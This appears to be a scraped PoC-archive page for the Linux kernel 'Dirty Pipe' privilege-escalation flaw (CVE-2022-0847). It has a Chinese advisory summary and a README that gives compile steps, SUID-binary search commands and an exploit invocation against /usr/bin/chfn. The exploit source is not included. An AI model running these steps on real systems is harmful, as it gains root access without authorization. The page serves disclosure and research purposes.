Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source
Associated Vulnerability
Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞,该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。以下产品和版本受到影响:Linux Kernel 5.8-5.16.11、5.8-5.15.25、5.8-5.10.102。
Description
CVE-2022-0847-DirtyPipe-Exploit
Readme
# CVE-2022-0847-DirtyPipe

## 漏洞简介
3 月 7 日,国外的安全研究员 Max Kellermann 发布博客,披露了一处存在于Linux 内核中的本地提权漏洞 CVE-2022-0847:
https://dirtypipe.cm4all.com/

CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。

CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为"Dirty Pipe"。

## EXP使用
Link: https://haxx.in/files/dirtypipez.c  
Author: Max Kellermann <max.kellermann@ionos.com>

```
gcc -o exp exploit.c
./exp +x ./exp

# 查找suid文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

./exp /usr/bin/chfn
```

![](media/16469174215294/16469193729339.jpg)
File Snapshot

[4.0K] /data/pocs/7c76e33bbdf3589f7c0695f1d151401097f2dc3c ├── [7.2K] exploit.c ├── [4.0K] media │   └── [4.0K] 16469174215294 │   └── [410K] 16469193729339.jpg └── [ 980] README.md 2 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.